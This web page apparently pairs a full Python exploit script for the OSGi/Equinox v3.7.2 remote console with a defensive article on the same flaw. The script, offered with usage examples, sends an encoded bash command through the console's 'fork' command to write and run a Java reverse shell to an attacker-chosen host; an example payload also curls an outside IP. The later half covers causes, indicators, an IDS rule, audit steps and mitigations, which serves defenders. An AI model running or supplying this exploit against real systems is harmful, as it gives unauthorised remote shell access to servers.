OSGi v3.7.2 (and below) Console - RCE
#!/usr/bin/python
# Exploit Title: [OSGi v3.7.2 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
# VisionSpace Technologies GmbH]
# Exploit Repository:
# [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.7.2 and before]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Examples:
# python exploit.py --rhost=localhost --rport=1337 --lhost=localhost \
# --lport=4444
#
# python exploit.py --rhost=localhost --rport=1337 --payload= \
# "curl http://192.168.100.100/osgi_test"
"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.7.2 and earlier.
"""
import argparse
import base64
import socket
def parse():
"""
This fnction is used to parse and return command-line arguments.
"""
parser = argparse.ArgumentParser(
prog="OSGi-3.7.2-console-RCE",
description="This tool will let you open a reverse shell from the "
"system that is running OSGi with the '-console' "
"option in version 3.7.2 (or before).",
epilog="Happy Hacking! :)",
)
parser.add_argument("--rhost", dest="rhost",
help="remote host", type=str, required=True)
parser.add_argument("--rport", dest="rport",
help="remote port", type=int, required=True)
parser.add_argument("--lhost", dest="lhost",
help="local host", type=str, required=False)
parser.add_argument("--lport", dest="lport",
help="local port", type=int, required=False)
parser.add_argument("--payload", dest="custom_payload",
help="custom payload", type=str, required=False)
parser.add_argument("--version", action="version",
version="%(prog)s 0.1.0")
args = parser.parse_args()
if args.custom_payload and (args.lhost or args.lport):
parser.error(
"either --payload or both --lport and --rport are required.")
return args
def generate_payload(lhost, lport, custom_payload):
"""
This function generates the whole payload ready for the delivery.
"""
payload = ""
if custom_payload:
payload = custom_payload
print("(*) Using custom payload.")
elif lhost and lport:
payload = \
"echo 'import java.io.IOException;import java.io.InputStream;" \
"import java.io.OutputStream;import java.net.Socket;class Rev" \
"Shell {public static void main(String[] args) throws Excepti" \
"on { String host=\"%s\";int port=%s;String cmd=\"sh\";Proces" \
"s p=new ProcessBuilder(cmd).redirectErrorStream(true).start(" \
");Socket s=new Socket(host,port);InputStream pi=p.getInputSt" \
"ream(),pe=p.getErrorStream(), si=s.getInputStream();OutputSt" \
"ream po=p.getOutputStream(), so=s.getOutputStream();while(!s" \
".isClosed()){while(pi.available()>0)so.write(pi.read());whil" \
"e(pe.available()>0)so.write(pe.read());while(si.available()>" \
"0)po.write(si.read());so.flush();po.flush();Thread.sleep(50)" \
";try {p.exitValue();break;}catch (Exception e){}};p.destroy(" \
");s.close();}}' > RevShell.java ; java ./RevShell.java" % (
lhost, lport)
print("(+) Using Java reverse shell payload.")
bash_payload = b"bash -c {echo,%s}|{base64,-d}|{bash,-i}" % (
base64.b64encode(payload.encode()))
wrapped_payload = b"fork \"%s\"\n" % (bash_payload)
return wrapped_payload
def deliver_payload(rhost, rport, payload):
"""
This function connects to the target host and delivers the payload.
It returns True if successful; False otherwise.
"""
print("(*) Sending payload...")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((rhost, rport))
sock.send(payload)
sock.close()
except socket.error as err:
print(f"(-) Could not deliver the payload to {rhost}:{rport}!")
print(err)
return False
return True
def main(args):
"""
Main function.
"""
payload = generate_payload(args.lhost, args.lport, args.custom_payload)
success = deliver_payload(args.rhost, args.rport, payload)
if success:
print("(+) Done.")
else:
print("(-) Finished with errors.")
if __name__ == "__main__":
main(parse()) OSGi v3.7.2 (and earlier) Console Remote Code Execution (RCE) — Analysis, Detection, and Mitigation
This article analyzes the security implications of the remote OSGi/equinox console that shipped with Equinox/OSGi runtimes (notably versions up to v3.7.2), why it can lead to remote code execution (RCE), how to detect an exposure, and practical mitigation and hardening strategies for defenders and system operators. The goal is to provide clear, actionable defensive guidance while avoiding step‑by‑step exploit instructions.
Executive summary
- The Equinox/OSGi console is an interactive administrative interface that can be enabled via the Java process startup option (commonly “-console” or similar).
- When bound to a network interface without authentication or input validation, this console can expose functionality that allows an unauthenticated remote user to request execution of arbitrary OS-level processes — leading to remote code execution.
- Risk is highest when Equinox is started with the console bound to a non-loopback address in a production environment or in environments accessible from untrusted networks.
- Mitigations: disable remote console in production, bind the console only to localhost, firewall the port, upgrade to fixed versions, add process-level hardening, and monitor for suspicious console activity.
How the vulnerability arises — conceptual explanation
OSGi runtimes provide a command shell to administer bundles and runtime state. Some implementations expose that shell over a TCP socket (the “console”). If the implementation accepts text commands and maps them directly into an interpreter or uses naive process spawn methods for certain commands (for example, a command named fork or exec that runs arbitrary command strings), then an unauthenticated network client can cause the runtime to spawn arbitrary OS processes. The issue is primarily:
- exposed network-facing administrative interface, and
- insufficient validation or lack of access controls around commands that start subprocesses.
This combination turns an administrative convenience into an RCE vector when the console is reachable by untrusted users.
Vulnerability characteristics and attack surface
- Default or misconfigured startup: the console is enabled via process arguments. If started with network binding (not loopback), it can be discovered and attacked.
- No authentication: older or default console implementations often lacked authentication or relied on network-based trust.
- Command handlers that spawn processes: commands that directly invoke Runtime.exec/ProcessBuilder without input sanitization can be abused to execute arbitrary system commands.
- Exposure via misconfigured app servers and containers: embedded OSGi runtimes inside appliances, developer machines, or cloud instances often inherit network exposure.
Safe conceptual pseudo-code illustrating the risky pattern
// PSEUDOCODE (non-executable illustration only)
//
// Conceptual handler that accepts an administrative command string
// and directly hands it to an OS process launcher without validation.
// This snippet is intentionally non-specific and is for defensive analysis.
function handleIncomingConsoleCommand(line) {
if (line.startsWith("run ")) {
// Dangerous pattern: extracting a user-provided string and
// invoking an OS process without validation or whitelisting.
commandToRun = line.substringAfter("run ");
// In vulnerable implementations, this might call the runtime's
// process launch mechanism directly:
// Runtime.exec(commandToRun) // conceptual only
}
}
Explanation: the pseudo-code demonstrates the conceptual mistake — accepting a command from a remote client and immediately passing it to a process-launch facility. In secure designs, remote command tokens must be authenticated and restricted to a safe, fixed set of operations; freeform OS command execution should never be exposed to untrusted network clients.
Indicators of Compromise (IoCs) and detection strategies
Detecting exploitation or risky exposure involves both configuration auditing and runtime detection:
- Configuration audit: check Java process startup flags for console-related options (for example, parameters that look like “-console” or equivalent). Ensure console binding is to 127.0.0.1 only.
- Network audit: scan internal hosts for listening TCP ports implemented by Equinox console services. Focus on unexpected bind addresses and ports reachable from untrusted networks.
- Log and process monitoring: monitor for child processes spawned by Java/Equinox processes that are unusual (e.g., shells, network utilities, or processes launched by the Java runtime that are not part of normal operation).
- Network traffic inspection: look for plaintext command strings (for example, the console protocol keywords) on the wire when the console is unencrypted and unauthenticated.
Example: defensive network rule (conceptual)
// DEFENSIVE EXAMPLE: an IDS/IPS rule (conceptual) that alerts
// on TCP payloads containing a console command token like "run " or "fork "
// This is an example for defenders — tune ports and payload matching to your environment.
alert tcp any any -> any any (msg:"Possible OSGi console command detected"; flow:to_server,established; content:"run "; nocase; sid:1000001; rev:1;)
Explanation: The above is a conceptual IDS rule that searches for the literal token "run " in TCP payloads. In practice, you should restrict matching to the specific port(s) used by your OSGi console, avoid high false-positive rates, and combine with contextual indicators (source IP reputation, process launches, timing).
Audit checklist — what to look for
- Startup parameters: identify any Equinox/OSGi Java processes and check command line for console flags.
- Open listeners: verify which network interfaces and ports the console is bound to. Listening only on localhost is significantly safer than 0.0.0.0.
- Authentication: confirm whether the console requires authentication or supports secure transport (TLS). Many classic implementations do not.
- Process children: catalog expected child processes. Unexpected shells or inbound reverse-connection utilities should be investigated.
- Patches: check vendor advisories and changelogs and confirm whether your runtime version is listed as vulnerable and whether a fixed release exists.
Mitigation and hardening recommendations
Mitigation involves removing or reducing the attack surface, applying vendor fixes, and adding runtime protection:
- Disable the console in production: do not start Equinox with a network-accessible console unless strictly required for maintenance.
- Bind to loopback only: if you need an administrative console, ensure it listens only on 127.0.0.1 and is not reachable from external networks.
- Firewall/ACLs: block or restrict access to the console port(s) using host-based or network firewalls. Restrict to known admin IP addresses.
- Upgrade: apply vendor-supplied patches and upgrade to a non-vulnerable release of Equinox/OSGi. Keep runtimes updated.
- Restrict dangerous commands: if you control or maintain console command handlers, implement strict whitelisting, input validation, and avoid exposing arbitrary process execution to remote clients.
- Runtime hardening: run the Java runtime with least privilege, use OS-level sandboxing, containerization, or seccomp rules where applicable, and restrict filesystem and network access for the runtime process.
- Logging and alerting: enable detailed logging of console actions and alert on suspicious commands or child-process creation.
Example: safe audit script (conceptual)
// PSEUDOCODE: high-level audit logic
// Purpose: locate Java processes with console-like arguments and report binding addresses.
// Not an exploit — intended for defensive inventory.
for each process in list_processes():
if process.commandLine.contains("-console") or process.commandLine.contains("osgi.console"):
report(process.pid, process.commandLine, process.user)
report(listeningAddresses(process.pid))
Explanation: The pseudocode shows defensive steps: enumerating processes, identifying those started with console-related flags, and checking what addresses/ports those processes listen on. Implementations should be platform-aware and run with appropriate privileges; the goal is inventory and remediation.
Response and remediation workflow
- Isolate: if you detect an exposed console or signs of compromise, isolate the host and block the console port at the network edge.
- Collect forensics: capture process lists, command-line history, child processes, network connections, and relevant logs (console logs, syslog, application logs).
- Assess persistence and lateral movement: look for new user accounts, scheduled tasks, or additional services that may have been installed.
- Remediate: remove or reconfigure the remote console, apply updates, and if compromise is confirmed, rebuild hosts from trusted images after ensuring backups are clean.
- Post‑incident hardening: restrict administrative interfaces, apply network segmentation, and adopt change-control processes for runtime flags in production.
Responsible disclosure, legal and operational considerations
If you discover an exploitable configuration or confirmation of RCE on a system you do not own, do not attempt to exploit further. Follow responsible disclosure practices: notify the system owner or vendor, provide proof-of-configuration or forensic evidence (not exploit payloads), and coordinate remediation. Unauthorized exploitation is illegal in most jurisdictions.
Summary
The OSGi/Equinox console exposure is a classic example of how convenient administrative interfaces become critical vulnerabilities when exposed to untrusted networks and when they provide direct subprocess control. For defenders, the priority is simple: don't expose the console publicly, restrict binding to localhost, firewall any console ports, apply vendor patches, and monitor for unusual process activity. These steps greatly reduce the risk of RCE via this class of vulnerability.